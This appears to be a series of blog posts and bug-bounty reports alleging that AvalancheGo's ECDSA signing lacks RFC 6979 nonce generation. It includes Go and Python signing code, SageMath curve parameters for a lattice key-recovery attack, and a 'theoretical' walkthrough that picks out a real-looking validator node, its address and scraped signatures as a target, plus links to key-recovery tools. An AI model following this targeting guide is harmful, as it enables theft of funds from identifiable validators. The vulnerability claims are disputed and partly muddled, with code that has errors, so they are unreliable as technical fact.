    // (ignore) privateKeyHex := "99f0cf7355bffdeea25728a93848595f8ac65596f244501fd167717f969b18f2"

    // Decode a hex-encoded private key.
    pkBytes, err := hex.DecodeString("eeac0e3d8f0fcc32a553cc5ab8dad48a435bb4c047d95b06eb7a29a4a823e87c")
    if err != nil {
        fmt.Println(err)
        return
    }
    privKey := secp256k1.PrivKeyFromBytes(pkBytes)

    // Parse the private key
    // privateKeyBytes, _ := hex.DecodeString(privateKeyHex)

    // Create a new private key object from the parsed bytes
    // factory := &FactorySECP256K1R{}
    //  factory := &crypto.FactorySECP256K1R{}
    //  privateKey, err := factory.ToPrivateKey(privateKeyBytes)
    //  if err != nil {
    //   panic(err)
    // }

    // Print the private key in hex format
    fmt.Printf("Private key: %x\n", privKey)

    // Derive the public key from the private key
    // publicKey := privKey.PublicKey()

    // Print the public key in hex format
    // fmt.Printf("Public key: %x\n", publicKey.Bytes())

    // Sign a message using the private key
    message := "avalanchesignature"
    // message := []byte("Hello, world!")

    // messageHash := chainhash.HashB([]byte(message))
    signature := ecdsa.Sign(privKey, []byte(message))

    fmt.Printf("Signature: %x\n", signature)
    //  signature, err := privateKey.Sign(message)
    //  if err != nil {
    //   panic(err)
    //  }

    // Parse the signature

    // Print the signature and its components
    fmt.Printf("Signature: %x\n", signature)

    // Serialize and display the signature.
    fmt.Printf("Serialized Signature: %x\n", signature.Serialize())
}

func parseSignature(sig []byte) (r int64, s []byte, v int64, err error) {
    if len(sig) != 65 {
        err = fmt.Errorf("invalid signature length: %d", len(sig))
        return
    }
    r = int64(sig[0])
    s = sig[1:33]
    v = int64(sig[64])

    fmt.Printf("r: %d\n", r)
    fmt.Printf("s: %x\n", s)
    fmt.Printf("v: %d\n", v)
    return
}

Here is the Signature that Gets Produced: 3044022005c8e48a951107d993d2b787ddc1a3920343690dbaa306c1869299b396645704022058c37b2833467037be9cc49947f4a6920a3fa86c923a295376dc2a011e6a77e8

Here's the Avalanche signature we produced earlier: 3045022100c5d2d9a05c2cdb34f4260dd18ba52eb5b041c8edb52eb9bae9b0743580adb9c302202f092fc8ae6fa720ebd99894ce9d7fcc473be582959eed8b9ac0b9a0c9265f06

See the difference?

If the Avalanche library derived its signatures from the Decred Golang library, then it would've produced the same DER-encoded signature.

Compromising Validators on Avalanche

Disclaimer: We're merely going to walkthrough how someone could compromise validators (in theory). This has not been executed in practice by myself as it goes against my personal code of ethics. The author of this research shares no liability in how someone chooses to use this research. This is not a call to action or an encouragement to engage in any particular activity. Any and all consequences you incur for your actions are on you.

As mentioned before, one of the issues with Avalanche not generating deterministic signatures per RFC6979's specification is that the signatures created lead to private key recovery.

Thus, as promised, we're going to walkthrough how one could compromise validators (in theory). This theory has not been executed in practice because I am neither hacker nor a blackhat of any sort

Even if the signatures produced by Avalanche are deterministic (which they are), if the nonces used in the creation of said signatures are biased in some way.

Lattice Attacks on ECDSA

The attack vector we're going to explore here is called a 'lattice attack' on ECDSA.

The guide we'll use can be found here. As noted in the post, "The attack is based on the theory of short vectors in lattices and uses the LLL algorithm to recover the private key from multiple (biased) signatures."

An example repo that explores this attack can be found here (with accompanying Python code). For diversity of options, here's another repo that you can reference that provides a guide/walkthrough on these attacks, with accompanying Python code.

If you're looking for a Python script reference that exploits this attack on Bitcoin signatures, look no further than here. If you're looking for some potentially exploitable signatures among the blockchain's extensive, 10+ year-long history of operation, this blog post should serve as an adequate reference.

Brief Dive into the Methodology

Don't worry, we're not going to dig into the trenches here as far as the mathematical principles behind lattice attacks. Instead, we're going to explore the methodology necessary to implement this attack in practice.

To start, refer to the brief excerpt from the 'Lattice Attacks on ECDSA' guide we referenced earlier.

Ok, so maybe I lied about the math part - but the above was published for coherency purposes.

From here, let's explore the example Python script given which generates 40 signatures over random messages deriving a private key. As stated in the post, "the signature[s] are generated so that the employed nonce are biased by having the first bias = 1 bytes set to zero."

The relevant Python code can be found below.

from ecdsa.ecdsa import curve_256, generator_256, Public_key, Private_key
from random import randbytes, randint

G = generator_256
p = G.order()

def genKeyPair():
    d = randint(1,p-1)
    pubkey = Public_key(G, d*G)
    privkey = Private_key(pubkey, d)
    return pubkey, privkey

def sign(privkey, bias):
    m = randbytes(32)
    nonce = randbytes(32 - bias)
    sig = privkey.sign(int.from_bytes(m, "big"), int.from_bytes(nonce, "big"))
    return (m, sig.r, sig.s)

pubkey,privkey = genKeyPair()
print('Public key:', (int(pubkey.point.x()), int(pubkey.point.y())))
print('Private key:', int(privkey.secret_multiplier))

SIGs = []
for _ in range(40):
    SIGs += [sign(privkey, 1)]

SIGs

Note that running this script requires installing the python module ecdsa first (pip install ecdsa).

From here, you'll need to have 'SageMath' installed in order to run the next bit of Python code.

If you're following along, please note that you're going to have to:

1. Find the relevant public key for the signatures you're examining (you can recover this trivially on Avalanche since th is is a feature of the signatures that are produced on that chain).

2. We're going to need to replace the elliptic curve parameters at the top of the file as well.

If you visit that blog post, the elliptic curve parameters presented are:

q = 115792089210356248762697446949407573530086143415290314195533631308867097853951
A = -3
B = 0x5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B
F = GF(q)
E = EllipticCurve(F,[A,B])
Gx = 0x6B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296
Gy = 0x4FE342E2FE1A7F9B8EE7EB4A7C0F9E162BCE33576B315ECECBB6406837BF51F5
G = E(Gx,Gy)
p = 115792089210356248762697446949407573529996955224135760342422259061068512044369
assert G.order() == p

Here's what they should be (secp256k1):

q = 115792089237316195423570985008687907853269984665640564039457584007908834671663
A = 0
B = 0x07
F = GF(q)
E = EllipticCurve(F,[A,B])
Gx = 0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798
Gy = 0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8
G = E(Gx,Gy)
p = 115792089237316195423570985008687907852837564279074904382605163141518161494337
assert G.order() == p

Below that portion of the code, you would enter the public key. Then below that is where we extract the signatures.

As the code suggests: "# SIGs contains tuples (m, r, s) with (r,s) being a signature for m under P".

How Many Signatures are Needed?

According to recent research published in 2020, titled, 'LadderLeak: Breaking ECDSA With Less Than One Bit of Nonce Leakage', as its name suggests - only one bit of nonce leakage is necessary for private key recovery.

Just in case you didn't know:

That means if we're able to detect just one byte of nonce leakage over 4 signatures (for example), that would be more than sufficient. The example post we reference generated 30-40+ signatures (which is way more than enough).

As the post notes: "The...attack works even if nonce have just 1 biased bit, and using some ad-hoc lattices and parameters can work even when only a fraction of a nonce bit is a biased, i.e. is either 0 o;r 1 with probability > 50%."

Thus, if any signature generated by these validators has just ONE biased nonce, then we can successfully recover the private key.

Note: If you need an online resource for SageMath, then consider using CoCalc

Aggregating Signatures on Avalanche

First, we're going to go check out the documentation that Avalanche has on their validators.

You can find that here.

We're going to manipulate the many endpoints provided by Avalanche API to aggregate a number of signatures from a particular validator on the chain. For that, we're going to go check out avascan.

The total list of validators can be found here.

For convenience, let's go ahead and sort the validator list to show us validators in order by the total amount of $AVAX they have staked (in descending order; that means the validators with the most $AVAX will be listed at the top).

Let's see what that list pulls back for us on the block explorer.

From what we can see above, none of these validators (shown in the screenshot), are likely to be viable candidates because they don't have any delegates.

However, if we scroll further down the list, we'll find some ample candidates that are staking just under the 3 million $AVAX limit.

How much is that in USD value?

At the time of writing, the project boasts a $6 billion+ valuation, with each $AVAX token trading for $19.57 a piece at the time of writing.

Quick math tells us that 2.9 million of these tokens represent an approximate value of $50,468,975.15.

Among this list, we only need to choose one candidate. Let's opt for NodeID-D5yA7HbEr8AJ4yzwVZXsDtb4xhKkTRz73.

For the purposes of this theoretical example, we chose this vaildator because it has tons of transactions that can be scraped.

Moving forward, let's see if we can't aggregate more information about this validator.

We can see its beneficiary address is: P-avax1j3mllmr3a54pc9px37pc7fn4ekc9wuwuuf0lz3

If we visit the Avalanche subnet explorer, we can view more information about this particular validator.

From here, we're going to swap over to the X Chaint o glean more information about this asset. To expedite this search, I'm going to just take you straight to a TX of interest, which you can find here.

From this TX alone, we can find two different relevant signatures:

• tiAQL+agsAV6EKPX7omdL41Ugzvzta9sLGsQREYPQYYR98wCviQwm2d7qipbgsQsdNqTLq716uyNfCtx3BwNswA=>

• 32otPdTjtKceXl3NKJCq89zRFY/36RfA9VGAmO9tnZJUEcBi7he3QeDfjXyaXH7ziv8ryFOO6UNuywNXPLKzfQE=>

Here's another TX of interest:

• BXQU15VUZG5tW7PlHwpqzFcxTuwNegVeRohLFrUxrhVqEJSYlG1Nr9RgUsCCiltjvzkGBQbXKI77C5btYpEXPQA=>

• PrXlD5Z3CP1ifBS3LctG5OvH6OC7EG7MaDdS3kPCCX5nodttkCveAzjCMmFx8HehxItTl/LW2PhH7TFtsKr5lgE=>

Again, another one.

• AnxV6hF/aT8oqGwsHjzaIfqt3d+g1X+AHZI8nikLnDVCUo7FZzsTTPVxi/ZCW6j9jNvwrCgJ4S6bvA1dgA+/tAA=>

In total, the signatures we were able to briefly scrape here are

1. tiAQL+agsAV6EKPX7omdL41Ugzvzta9sLGsQREYPQYYR98wCviQwm2d7qipbgsQsdNqTLq716uyNfCtx3BwNswA=>

2. 32otPdTjtKceXl3NKJCq89zRFY/36RfA9VGAmO9tnZJUEcBi7he3QeDfjXyaXH7ziv8ryFOO6UNuywNXPLKzfQE=>

3. BXQU15VUZG5tW7PlHwpqzFcxTuwNegVeRohLFrUxrhVqEJSYlG1Nr9RgUsCCiltjvzkGBQbXKI77C5btYpEXPQA=>

4. PrXlD5Z3CP1ifBS3LctG5OvH6OC7EG7MaDdS3kPCCX5nodttkCveAzjCMmFx8HehxItTl/LW2PhH7TFtsKr5lgE=>

5. AnxV6hF/aT8oqGwsHjzaIfqt3d+g1X+AHZI8nikLnDVCUo7FZzsTTPVxi/ZCW6j9jNvwrCgJ4S6bvA1dgA+/tAA=>

We've already gathered 5 addresses here, which should represent a reasonable start for any hacker/bad actor interested in experimenting with the LLL attack on the blockchain.

If there aren't enough signatures in this sample, then there are certainly other validators and accompanying transactions that can be extracted in order to sufficiently test the LLL attack. Taking the effort to scrape said transactions is outside of the scope of this report.

Conclusion

Not paying me a bug bounty is one issue. That makes Avalanche a bunch of assholes, sure. But not paying me and not fixing it? What the fuck is up w that? Since they refuse to address this problem, this should be considered a backdoor.

Non-Technical Explanation for How Curious This Issue is

It’s really hard to find valid code that employs secp256k1 in 2023 that doesn’t properly craft signatures.

For reference, the Bitcoin source code accounts for this properly. Ethereum’s source accounts for this properly (virtually all popular ETH repos used for crafting signatures do; goethereum, eth-sign, foundry, etc.).

The library that Avalanche’s Go code pulls from (Decred), includes the necessary functions to deploy this properly. The Avalanche team could’ve literally copy/pasted their code to fix this.

What’s astounding is they’ve included everything necessary for sig generation EXCEPT for the proper nonce generation. They don’t have the BLS signatures properly deployed (debugged those files, they run back several errors).

This is Not an “Edge Case” Niche Issue

This idea of recovering private keys may seem complex to some, which can lead to the mentality that what I'm describing here is some rare, edge case never-would-happen-in-real-life type of vulnerability (not to sound condescending; this is high-level math at the end of the day).

But that could not be further from the truth.

This attack vector that Avalanche has left open has been known for years and there is EXTENSIVE literature, research, etc. that documents the catastrophic impact of improper signature generation.

Some Examples of Past Compromises and Exploits

1. Remember when Sony got hacked back in 2010 and basically all their user data, games etc got leaked + the master key they were using? Yeah, that was this flaw: https://www.bbc.co.uk/news/technology-12116051.amp

2. You guys know “Trail of Bits”? They’re a huge auditor for smart contracts & crypto in this space. Well-respected, yadda yadda. They published an in-depth breakdown about this very issue in 2020 (well worth the read): https://blog.trailofbits.com/2020/06/11/ecdsa-handle-with-care/

3. An entire paper published in 2019 where researchers literally crack hundreds of Bitcoin, Ethereum & Ripple (latter is curious since they use ed25519 not secp256k1) wallets: https://eprint.iacr.org/2019/023.pdf

4. This person purposefully crafted two transactions on Ethereum that were signed using the same nonce. He wanted to see if any attackers would notice and take his funds. Within 24 hours, all the funds in the wallet were drained (this matches what researchers have found, which is that there are already people out there scanning the blockchain for improperly formed signatures so they can recover the private key & drain the wallet of funds) - https://bertcmiller.com/2021/12/28/glimpse_nonce_reuse.html

5. This is an in-depth guide illustrating how hundreds of Bitcoin private keys were trivially cracked on Bitcoin's blockchain using nothing but the signatures (this link includes hundreds of private keys & a list of transactions + tx data like opcodes & redeem scripts + a very detailed explanation of how these keys were recovered + the revelation that funds were already siphoned from these addresses) - https://strm.sh/studies/bitcoin-nonce-reuse-attack/

"You Have to be Some Sort of Expert Programmer or Coding Genius to Exploit This Then, Right?"

No!

In addition to (or in conjunction) with the resources published above, there are also the following code repos and guides for recovering private keys in this manner.

1. Simple python script for recovering private keys from signatures that reuse the same nonce - https://github.com/bytemare/ecdsa-keyrec

2. Another repo with a simple python script showing you how (just input the values & run it!) - https://github.com/Marsh61/ECDSA-Nonce-Reuse-Exploit-Example/blob/master/Attack-Main.py

3. Another great simple repo (this user has some awesome solidity-based repos) - https://github.com/tintinweb/ecdsa-private-key-recovery

4. For recovering Bitcoin private keys specifically - https://github.com/daedalus/bitcoin-recover-privkey

5. Recovering ethereum private keys when nonce is generated by concatenating private key + hash(message) [this is what avalanche does] = https://github.com/jonasnick/ecdsaPredictableNonce

6. Cracking ECDSA with LLL attacks - https://github.com/daedalus/BreakingECDSAwithLLL

7. That trailofbits article has example code - https://blog.trailofbits.com/2020/06/11/ecdsa-handle-with-care/

Final Word

Let Avalanche forever exist as a case study in sheer stupidity, arrogance and apathy. Sincere apologies to anyone that sunk their money into this scam.

Responding to the Avalanche team's internal report that they sent back to me after the first two reports I submitted to them on February 14th & 15th, 2023. For those curious, that report was published in the Librechain Telegram channel. Follow there and on Twitter for more information.

I'll try to keep my responses brief and to the point here so that our dialogue can remain as productive as possible.

AvalancheGo Signing Logic Review

Under this section, you identify the following operations:

1. Sign

2. SignHash

3. ecdsa.Sign

4. signRFC6979

5. secp256k1.NonceRFC6979

6. rawSigToSig

My first gripe is with this statement here: "The code used for signature generation and verification does not need to be in AvalancheGo to be invoked. Its absence in the source code of AvalancheGo is the standard pattern for calling a function on an external package."

Semantically, I don't understand it because at face value it sounds like you all are suggesting that code that does not exist can be invoked. However, I'm assuming what is meant here is that the function does not need to be defined in AvalancheGo in order for it to be invoked and defined in the same manner as specified in the library from which the command is inherited.

If I'm correct in my interpretation then, yes, we're in agreement here. However, the issue I raised was that certain functions alluded to weren't called at all in AvalancheGo (much less defined anywhere).

ecdsa.SignCompact

For some reason, the link referenced here underneath this function points to: https://github.com/decred/dcrd/blob/9408498fd00555dd268e4987e5c89cd53ab9051f/dcrec/secp256k1/ecdsa/signature.go#L755-L780

However, that is not where the library is inherited from.

The library used in secp256k1r.go inherits from: https://pkg.go.dev/github.com/decred/dcrd/dcrec/secp256k1/v3/ecdsa

Note if you remove the https://pkg.go.dev/ portion of the URL, you are left with the package name, which is github.com/decred/dcrd/dcrec/secp256k1/v3/ecdsa

The AvalancheGo code is even shown among the list of importers of this library on the Go pkg site.

In the ReadMe, it's noted that the library, "supports a custom 'compact' signature format which allows efficient recovery of the public key from a given valid signature and message hash combination".

The function in question referenced here (SignCompact), is defined in full here:

Specifically, the library defines the function as: func SignCompact(key *secp256k1.PrivateKey, hash []byte, isCompressedKey bool) []byte

As stated in the library, this function is defined as follows:

"SignCompact produces a compact ECDSA signature over the secp256k1 curve for the provided hash (which should be the result of hashing a larger message) using the given private key. The isCompressedKey parameter specifies if the produced signature should reference a compressed public key or not."

In the notes that you all passed back to me, you all referenced code located here: https://github.com/decred/dcrd/blob/9408498fd00555dd268e4987e5c89cd53ab9051f/dcrec/secp256k1/ecdsa/signature.go#L755-L780

The only thing that secp256k1r.go inherits is the function signature from the library. The values that are passed to that signature in another piece of code (not referenced in the Avalanche file in question).

For coherency purposes, I'm going to briefly walk down what the Decred code does (replacing their code notes with mine).

// this code iterates the SignCompact function as defined in the library
// the variables "key *secp256k1.PrivateKey", "hash []byte", and "isCompressedKey bool" are 
// all arguments passed to the function
func SignCompact(key *secp256k1.PrivateKey, hash []byte, isCompressedKey bool) []byte {
    sig, pubKeyRecoveryCode := signRFC6979(key, hash)
    // the code above is assigning 'key' and 'hash' (of function signRFC6979) to 'sig' and 'pubKeyRecoveryCode'
    // both 'sig' is re-defined using short variable declaration along with 'pubKeyRecoveryCode' 
    // the only way to derive a valid value for sig in the decred construction is for `signRFC6979` to be
    // defined, which it isn't in the AvalancheGo code. This code in decred is only defining the value
    // of these variables at RUNTIME and within the function (not globally)
    compactSigRecoveryCode := compactSigMagicOffset + pubKeyRecoveryCode
    // code above initializes "compactSigRecoveryCode" variable as the concatenation of 
    // compactMagicOffset and pubKeyRecoveryCode (the latter we just defined in the prev line)
    if isCompressedKey {
        compactSigRecoveryCode += compactSigCompPubKey
    }
    // code above dictates that if the boolean for "isCompressedKey" is true or '1'
    // then compactSigRecoveryCode becomes "compactSigRecoveryCode+compactSigCompPubKey"
    // ... (remainder of code redacted for brevity sake)
}

The misunderstanding here on Avalanche dev's end seems to be in the assumption that the variables declared within the body of the SignCompact function in Decred's signature.go file (located in a different, non-referenced codebase), is transposable to the SignCompact' fucntion as defined in AvalancheGo's secp256k1r.go` code.

This is not the case. It's also not possible, logical or in line with Golang's code construction (or that of any programming language).

i'm hoping that we're on the same page with this moving forward.

signRFC6979

As noted in the Avalanche dev notes, this function is explicitly only defined in Decred's code (signature.go). There is no function signature for signRFC6979.

This is defined in the Decred source file that you all reference in your annotations at line 622 as thus:

// signRFC6979 generates a deterministic ECDSA signature according to RFC 6979
// and BIP0062 and returns it along with an additional public key recovery code
// for efficiently recovering the public key from the signature.
func signRFC6979(privKey *secp256k1.PrivateKey, hash []byte) (*Signature, byte) {
    privKeyScalar := &privKey.Key
    var privKeyBytes [32]byte
    privKeyScalar.PutBytes(&privKeyBytes)
    defer zeroArray32(&privKeyBytes)
    for iteration := uint32(0); ; iteration++ {
        // here, the 'k' variable is generated by through the result returned by the 
        // NonceRFC6979 function of the secp256k1 library which takes in the private key
        // and the hash of the message as inputs for the HMAC-SHA256 algorithm 
        // the result of the HMAC-SHA256 is the value given to 'k' as a variable (initialized); nonce
        k := secp256k1.NonceRFC6979(privKeyBytes[:], hash, nil, nil, iteration)
        // the variables 'sig' and 'pubKeyRecoveryCode' are assigned after the 'sign' function is iterated
        // with the 'privKeyScalar', 'k' (nonce we just derived), and 'hash' [all defined within this function]
        // are passed to the 'sign' function (lowercase 's' for sign), which is defined in line 548. 
        // there are a few critical constructions of the 'sign' function in decred's code which are absent from 
        // the AvalancheGo code construction - but we'll touch on that afterward. 
        // ultimately, the biggest contribution made to the code via this function is the definition of 's' and 'r'
        sig, pubKeyRecoveryCode, success := sign(privKeyScalar, k, hash)
        k.Zero()
        if !success {
            continue
        }

        return sig, pubKeyRecoveryCode
    }
}

Under #4 in the 'AvalancheGo Signing Logic Review', you all write: "The comment at the start of the function (which is called in “3) SignCompact”) states that the purpose of the entire function is to 'generate a deterministic ECDSA signature according to RFC 6979'".

I think the issue here is you all are getting a bit too fixated on the idea of the signature being deterministic vs. the validity of the signature produced.

To be clear, there is no dispute from me that the signatures that AvalancheGo produces are deterministic - without a doubt. The issue is that those signatures are not generated in a secure manner. The means by which that can be done is facilitated through the handling and generation of the nonce that's constructed as part of secp256k1 signature operations.

Ignore the Code Notes for a Second

I know that the code notes above signRFC6979 state that it "generates a deterministic ECDSA signature according to RFC 6979...", but that's not what that function is specifically purposed for.

Its role in the greater scheme of this scheme we're looking at (in Decred's codebase), is to solicit the private key and the hash of the message that is to be signed for the purposes of piping those two variables into HMAC-SHA256.

As noted in your developer notes returned to me, the specific function responsible for piping inputs into HMAC-SHA256 is NonceRFC6979. The inclusion of the NonceRFC6979 function within the body of the signRFC6979 function is not the default behavior. Specifically, that function was called to provide a 'short variable declaration' for 'k', which serves as our nonce value for the signature operation.

All the NonceRFC6979 does (by itself) take inputs (typically private key & message hash plus any other ancillary params & the # of iterations) and pipe them into the HMAC-SHA256 construction. That's it.

It is up to the developer/coder to use the 'short variable declaration' feature of Golang to assign the output of this resolution to a variable ('k' in the case of Decred's code). Also, it is the developer's responsibility to ensure that the function is called explicitly as that is the only way the code can specify what values, exactly, we want to pass to that function as an argument.

To reiterate, those values were derived by the signRFC6979 function, which is one not defined anywhere in any of the imported libraries. This is a custom, unique function that is defined for the purpose of being iterated at runtime.

There's no reason to suggest or propose that this function is iterated anywhere in the AvalancheGo code.

secp256k1.NonceRFC6979

We've already covered this function (NonceRFC6979) for the most part in the response that I provided above.

The signature.go file for Decred didn't need to define the function since it's derived from one of the imported libraries listed explicitly at the file's header (their secp256k1 Golang library).

None of This Code is Iterated or Called in AvalancheGo

Again, to be clear - this function is neither called nor invoked anywhere in the Avalanche Golang code.

Referring back to the initial function that was referenced (SignCompact), that function is defined by its corresponding library (function signature), which has already been pointed out explicitly.

The inclusion of the variable signRFC6979 within the body of that function in Decred's codebase (signature.go) has no bearing or relevance on the code in AvalancheGo.

If anything, that Decred file should be used as a blueprint for proper implementation that AvalancheGo can use because it makes it explicitly clear that the compliant signatures we're looking for here do not just generate automatically as it appears Avalanche devs are trying to imply for some reason (no code on planet earth works this way).

How AvalancheGo Actually Signs Code

We'll start with the Sign function, which is used & defined in AvalancheGo's code is thus:

func (k *PrivateKeySECP256K1R) Sign(msg []byte) ([]byte, error) {
    return k.SignHash(hashing.ComputeHash256(msg))
}

All this code above says is:

1. Use the private key (newly generated) to perform the Sign function on the 'msg'.

2. Performing the task outlined in #1 will return the results of the SignHash function (when executed with our private key) on the sha256 hash of the msg.

3. What we wrote in #2 falls in line with how the Sign function is defined in the actual library, which is: func Sign(key *secp256k1.PrivateKey, hash []byte) *Signature.

Nowhere in AvalancheGo's code is the NonceRFC6979 construction iterated.

Also, yes, it must be specifically called to be iterated because that output is what's piped into the nonce for the signature operation (no mention of a 'nonce' value at all in the AvalancheGo documentation).

Again, the fact that the signatures are generated deterministically are neither here nor there because the nonce is what counts in this construction.

This series includes each report I sent to the Avalanche protocol team detailing a potent zero-day vulnerability in their AvalancheGo implementation that allows for the recovery of private keys from signatures formed by nodes & validators. This vulnerability, which they refuse to patch, allows for the private keys of validators to be forged, which essentially renders the entire protocol compromised. If there's anybody out there that's using Avalanche at the time of writing...my best advice as an objective observer and researcher would be to remove any and all funds you have on this protocol ASAP.

Everything below includes what I sent to the Avalanche dev team on HackenProof as a follow-up to the initial report I sent to them about this issue. This was sent within 12-24 hours of the first report.

Official Report to Avalanche Developers (Part Two)

So after taking even more time to look through the code and speak to one of the former developers/maintainers of Avalanche's codebase (and supposed documentation manager as well), I came to a few epiphanies.

1. Avalanche's Javascript (avalancheJS) is good to go since it imports from the NPM library, 'ellpitic'. That library specifically notes that "ECDSA is using deterministic k value generation as per RFC 6979. Most of the curve opeartions are performed on non-affine coordinates (either projective or extended), various windowing techniques are used for different cases." I'd have to go through and check again but I'm pretty sure that this exonerates AvalancheJS entirely (not sure how much this really matters though since the JS library is outside of the scope of what this bug bounty is looking to debug)

2. The AvalancheGo code contains references to the proper library. It just doesn't call the function necessary to ensure that the 'k' is generated deterministically.

secpk1r.go

One file in particular in your Golang codebase is responsible for governing its implementation of secpk1.

That would be avalanchego/utils/crypto/secp256k1r.go, located here.

In the header of that file are two meaningful import statements (re-published below for convenience):

A) "github.com/decred/dcrd/dcrec/secp256k1/v3/ecdsa"

B) secp256k1 "github.com/decred/dcrd/dcrec/secp256k1/v3"

Both statements reference the Decred ecdsa/secp256k1 Golang library. We'll zero in on the secp256k1 library since that's most relevant to the topic at hand.

Please note that the hyperlink above takes us to v3, not v4 (latest iteration), in accordance to where the import statements point.

The 'homepage' for this Golang package lists the various features & capabilities of its secp256k1 library. Notably, the devs state:

• "Package secp256k1 implements optimized secp256k1 elliptic curve operations."

• "Specialized types for performing optimized and constant time field operations; FieldVal type for working modulo the secp256k1 field prime" and "ModNScalar type for working modulo the secp256k1 group order"

• It allows for point addition, point doubling, scalar multiplication w arbitrary point, & scalar multiplication w the base point (the latter is worth mentioning since that operation is necessary for us to construct a proper signature proof using secp256k).

• "Nonce generation via RFC6979 with support for extra data and version information that can be used to prevent nonce reuse between signing algorithms."

The last feature quoted above is the most relevant here for obvious reasons. When I saw that statement, I initially thought that this bug bounty was dead in the water.

However, upon closer examination of this particular library, I noticed that there was a specific function set aside and defined to ensure deterministic 'k' (nonce) generation for ECDSA (secp256k1) in accordance with RFC-6979.

Function NonceRFC6979

As shown above, the function is defined as: func NonceRFC6979(privKey []byte, hash []byte, extra []byte, version []byte, extraIterations uint32) *ModNScalar.

The library's authors note that "NonceRFC6979 generates a nonce deterministically according to RFC 6979 using HMAC-SHA256 for the hashing function. It takes a 32-byte hash as an input and returns a 32-byte nonce to be used for deterministic signing. The extra and version arguments are optional, but allow additional data to be added to the input of the HMAC. When provided, the extra data must be 32-bytes and version must be 16 bytes or they will be ignored."

Func NonceRFC6979 Absent From the Code

1. Nowhere in any of Avalanche's .go files is this function iterated.

2. Decred's secp256k1 library is the only one imported by Avalanche in their Golang codebase that's equipped to adequately serve as a library for the implementation of secp256k1. Within this library, the aforementioned function (NonceRFC6979), is the only function within it that provisions for the creation of deterministic 'k' (nonces) values in accordance with RFC-6979 for secp256k1 signatures.

3. The prior two statements being true means that there is nowhere in the code where RFC-6979 deterministic k nonces are provisioned.

That last factual statement iterated in #3 means that there is no secure means of generating the 'k' nonce for signature operations in Avalanche's Golang codebase because there are no other known secure means of generating the 'k' value outside of the specification outlined in RFC-6979 for secp256k1.

Therefore, whether a 'PoC' is provided or not, it should be considered virtually irrefutable that user private keys are likely at grave risk- even if the community is not suffering from widespread theft just yet. That only means that this fact has gone under the radar, which isn't too farfetched if Avalanche's developers made this oversight (that statement is not meant to be sarcastic or insulting in any way; just illuminating the fact that devs as brilliant as the ones working BTS on Avalanche can fail to catch things like this, so how much more likely is it that a random blackhat will notice?).

More Insight into the Omission

If we take a closer look at the secp256k1 library provided by Decred, we can see that the function (NonceRFC6979) is defined under a subsection of types called ModNScalar.

Notably, only two functions underneath this subtype of the secp256k library (ModNScalar) is called in the secpk1r.go file.

Those are encompassed at the end of the file between lines 278-289:

func verifySECP256K1RSignatureFormat(sig []byte) error {
    if len(sig) != SECP256K1RSigLen {
        return errInvalidSigLen
    }

    var s secp256k1.ModNScalar
    s.SetByteSlice(sig[32:64])
    if s.IsOverHalfOrder() {
        return errMutatedSig
    }
    returun nil
}

Very specifically, I am referring to:

1. func s.SetByteSlice: "IsOverHalfOrder returns whether or not the scalar exceeds the group order divided by 2 in constant time." [func (s *ModNScalar) IsOverHalfOrder() bool]

2. func s.SetByteSlice: "SetByteSlice interprets the provided slice as a 256-bit big-endian unsigned integer (meaning it is truncated to the first 32 bytes), packs it into the internal field value representation, and returns whether or not the resulting truncated 256-bit integer is greater than or equal to the field prime (aka it overflowed) in constant time." [func (f *FieldVal) SetByteSlice(b []byte) bool]

Otherwise, there are nearly 20 other functions available under this type that are never called for some reason.

Conversely - however, almost all defined functions under type PrivateKey and type PublicKey are iterated somewhere in secp256k1r.go.

New Suggestions for Improvement / Rectify the Situation

All that likely needs to be done is AvalancheGo going back into the code in that file (secpk1r.go), and including functions such as NonceRFC6979 to derive a secure, deterministic 'k' nonce value for each message signed using secp256k1.

Points Supporting Why This Change Should be Made

• Its secure

• It adheres to SOA and standard for secure secp256k1 signature generation

• Averts the potential catastrophic loss of unfathomable proportions in an alternate scenario where no action is taken.

• There are no tangible 'negatives', 'caveats' or "drawbacks" associated with this upgrade/fix in the way secp256k1 is implemented in the code.

Let's Check Out the Current secp256k1 Avalanche.go's Function for Signatures

func (k *PrivateKeySECP256K1R) Sign(msg []byte) ([]byte, error) {
    return k.SignHash(hashing.ComputeHash256(msg))
}

Let's Check Out How Decred's secp256k1 Defines a Function for the Same Activity** (Signature)

type Signature struct {
    r secp256k1.ModNScalar
    s secp256k1.ModNScalar
}

// NewSignature instantiates a new signature given some r and s values.

func NewSignature(r, s *secp256k1.ModNScalar) *Signature {
    return &Signature{*r, *s}
}
// Might as well serialize the signature while we're here, right?
func (sig *Signature) Serialize() []byte {
    sigS := new(secp256k1.ModNScalar).Set(&sig.s)
    if sigS.IsOverHalfOrder() {
            sigS.Negate()
    }
...
}

// *The* `signature.go` *file for Decred's project includes functions for converting a 'field value' to 'scalar modulo the group order'* (returning a boolean of 0/1 contingent on whether conversion resulted in `overflow`; `0` otherwise)

func fieldToModNScalar(v *secp256k1.FieldVal) (secp256k1.ModNScalar, uint32) {
    var buf [32]byte
    v.PutBytes(&buf)
    var s secp256k1.ModNScalar
    overflow := s.SetBytes(&buf)
    zeroArray32(&buf)
    return s, overflow
}

// *This is the code where the scalar modulo of a group order is converted to a field order* (not even sure what the point of this would be since the prime order of `secp256k` is so close to the value of the `finite field` [$F_p$]) 

func fieldToModNScalar(v *secp256k1.FieldVal) (secp256k1.ModNScalar, uint32) {
    var buf [32]byte
    v.PutBytes(&buf)
    var s secp256k1.ModNScalar
    overflow := s.SetBytes(&buf)
    zeroArray32(&buf)
    return s, overflow
}

The most marked difference between the two iterations of Decred's library (Avalanche vs Decred) can be seen in Decred's implementation of the 'sign' function as it accounts for the deterministically random 'k nonce value that this bug report centers around.

Specifically, the Decred signature.go file iterates the function as such (code notes included since that's a feature as well imo):

    // sign generates an ECDSA signature over the secp256k1 curve for the provided
    // hash (which should be the result of hashing a larger message) using the given
    // nonce and private key and returns it along with an additional public key
    // recovery code and success indicator.  Upon success, the produced signature is
    // deterministic (same message, nonce, and key yield the same signature) and
    // canonical in accordance with BIP0062.
    //
    // Note that signRFC6979 makes use of this function as it is the primary ECDSA
    // signing logic.  It differs in that it accepts a nonce to use when signing and
    // may not successfully produce a valid signature for the given nonce.  It is
    // primarily separated for testing purposes.

